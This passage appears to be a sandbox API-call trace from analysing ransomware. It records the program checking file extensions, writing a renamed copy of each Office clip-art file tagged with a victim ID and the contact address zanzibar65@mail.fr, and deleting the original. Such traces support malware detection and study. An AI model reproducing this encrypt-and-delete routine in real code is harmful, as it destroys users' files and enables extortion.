lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0051.222] lstrlenW (lpString=".jpg") returned 4 [0051.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.223] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1832) returned 1 [0051.223] CloseHandle (hObject=0x218) returned 1 [0051.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0051.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.223] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.223] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0051.224] GetLastError () returned 0x0 [0051.224] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x728, lpOverlapped=0x0) returned 1 [0051.225] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x730, lpOverlapped=0x0) returned 1 [0051.226] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.226] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.226] SetEndOfFile (hFile=0x174) returned 1 [0051.226] CloseHandle (hObject=0x174) returned 1 [0051.227] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.227] SetEndOfFile (hFile=0x218) returned 1 [0051.227] CloseHandle (hObject=0x218) returned 1 [0051.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0051.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0051.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0051.228] lstrlenW (lpString=".doc") returned 4 [0051.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString=".docx") returned 5 [0051.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.228] lstrlenW (lpString=".pdf") returned 4 [0051.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString=".xls") returned 4 [0051.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.228] lstrlenW (lpString=".xlsx") returned 5 [0051.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.228] lstrlenW (lpString=".ppt") returned 4 [0051.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0051.228] lstrlenW (lpString=".zip") returned 4 [0051.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.228] lstrlenW (lpString=".rar") returned 4 [0051.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString=".bz2") returned 4 [0051.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString=".7z") returned 3 [0051.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0051.229] lstrlenW (lpString=".dbf") returned 4 [0051.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0051.229] lstrlenW (lpString=".1cd") returned 4 [0051.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0051.229] lstrlenW (lpString=".jpg") returned 4 [0051.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.229] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=26332) returned 1 [0051.230] CloseHandle (hObject=0x218) returned 1 [0051.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0051.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.230] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.230] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0051.230] GetLastError () returned 0x0 [0051.230] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x66dc, lpOverlapped=0x0) returned 1 [0051.232] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x66e0, lpOverlapped=0x0) returned 1 [0051.233] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.233] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.233] SetEndOfFile (hFile=0x174) returned 1 [0051.233] CloseHandle (hObject=0x174) returned 1 [0051.234] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.234] SetEndOfFile (hFile=0x218) returned 1 [0051.235] CloseHandle (hObject=0x218) returned 1 [0051.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0051.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0051.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0051.235] lstrlenW (lpString=".doc") returned 4 [0051.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.235] lstrlenW (lpString=".docx") returned 5 [0051.235] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.235] lstrlenW (lpString=".pdf") returned 4 [0051.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.235] lstrlenW (lpString=".xls") returned 4 [0051.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.235] lstrlenW (lpString=".xlsx") returned 5 [0051.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.235] lstrlenW (lpString=".ppt") returned 4 [0051.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0051.235] lstrlenW (lpString=".zip") returned 4 [0051.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.236] lstrlenW (lpString=".rar") returned 4 [0051.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.236] lstrlenW (lpString=".bz2") returned 4 [0051.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.236] lstrlenW (lpString=".7z") returned 3 [0051.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0051.236] lstrlenW (lpString=".dbf") returned 4 [0051.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0051.236] lstrlenW (lpString=".1cd") returned 4 [0051.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0051.236] lstrlenW (lpString=".jpg") returned 4 [0051.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.236] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=27858) returned 1 [0051.236] CloseHandle (hObject=0x218) returned 1 [0051.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0051.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.237] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.237] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0051.237] GetLastError () returned 0x0 [0051.237] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0052.272] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x6ce0, lpOverlapped=0x0) returned 1 [0052.334] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.334] WriteFile (in: hFile=0x174, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.334] SetEndOfFile (hFile=0x174) returned 1 [0052.334] CloseHandle (hObject=0x174) returned 1 [0052.334] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.334] SetEndOfFile (hFile=0x218) returned 1 [0052.335] CloseHandle (hObject=0x218) returned 1 [0052.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0052.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.593] lstrlenW (lpString=".doc") returned 4 [0052.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.594] lstrlenW (lpString=".docx") returned 5 [0052.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.594] lstrlenW (lpString=".pdf") returned 4 [0052.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.594] lstrlenW (lpString=".xls") returned 4 [0052.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.594] lstrlenW (lpString=".xlsx") returned 5 [0052.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.594] lstrlenW (lpString=".ppt") returned 4 [0052.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.594] lstrlenW (lpString=".zip") returned 4 [0052.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.594] lstrlenW (lpString=".rar") returned 4 [0052.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.594] lstrlenW (lpString=".bz2") returned 4 [0052.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.594] lstrlenW (lpString=".7z") returned 3 [0052.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.594] lstrlenW (lpString=".dbf") returned 4 [0052.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.594] lstrlenW (lpString=".1cd") returned 4 [0052.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0052.594] lstrlenW (lpString=".jpg") returned 4 [0052.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.551] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.551] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.556] GetLastError () returned 0x0 [0054.558] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x212c, lpOverlapped=0x0) returned 1 [0054.572] WriteFile (in: hFile=0x23c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2130, lpOverlapped=0x0) returned 1 [0054.573] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.573] WriteFile (in: hFile=0x23c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.573] SetEndOfFile (hFile=0x23c) returned 1 [0054.573] CloseHandle (hObject=0x23c) returned 1 [0054.573] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.573] SetEndOfFile (hFile=0x1f0) returned 1 [0054.574] CloseHandle (hObject=0x1f0) returned 1 [0054.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0054.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0054.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0054.575] lstrlenW (lpString=".doc") returned 4 [0054.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.575] lstrlenW (lpString=".docx") returned 5 [0054.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.575] lstrlenW (lpString=".pdf") returned 4 [0054.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.575] lstrlenW (lpString=".xls") returned 4 [0054.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.575] lstrlenW (lpString=".xlsx") returned 5 [0054.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.575] lstrlenW (lpString=".ppt") returned 4 [0054.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0054.575] lstrlenW (lpString=".zip") returned 4 [0054.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.575] lstrlenW (lpString=".rar") returned 4 [0054.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.575] lstrlenW (lpString=".bz2") returned 4 [0054.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.575] lstrlenW (lpString=".7z") returned 3 [0054.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0054.575] lstrlenW (lpString=".dbf") returned 4 [0054.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0054.575] lstrlenW (lpString=".1cd") returned 4 [0054.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0054.576] lstrlenW (lpString=".jpg") returned 4 [0054.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.576] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.576] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.576] GetLastError () returned 0x0 [0054.576] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0054.578] WriteFile (in: hFile=0x23c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0054.579] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.579] WriteFile (in: hFile=0x23c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.580] SetEndOfFile (hFile=0x23c) returned 1 [0054.580] CloseHandle (hObject=0x23c) returned 1 [0054.580] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.580] SetEndOfFile (hFile=0x1f0) returned 1 [0054.581] CloseHandle (hObject=0x1f0) returned 1 [0054.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0054.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0054.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0054.581] lstrlenW (lpString=".doc") returned 4 [0054.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.581] lstrlenW (lpString=".docx") returned 5 [0054.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.581] lstrlenW (lpString=".pdf") returned 4 [0054.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.581] lstrlenW (lpString=".xls") returned 4 [0054.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.582] lstrlenW (lpString=".xlsx") returned 5 [0054.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.582] lstrlenW (lpString=".ppt") returned 4 [0054.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0054.582] lstrlenW (lpString=".zip") returned 4 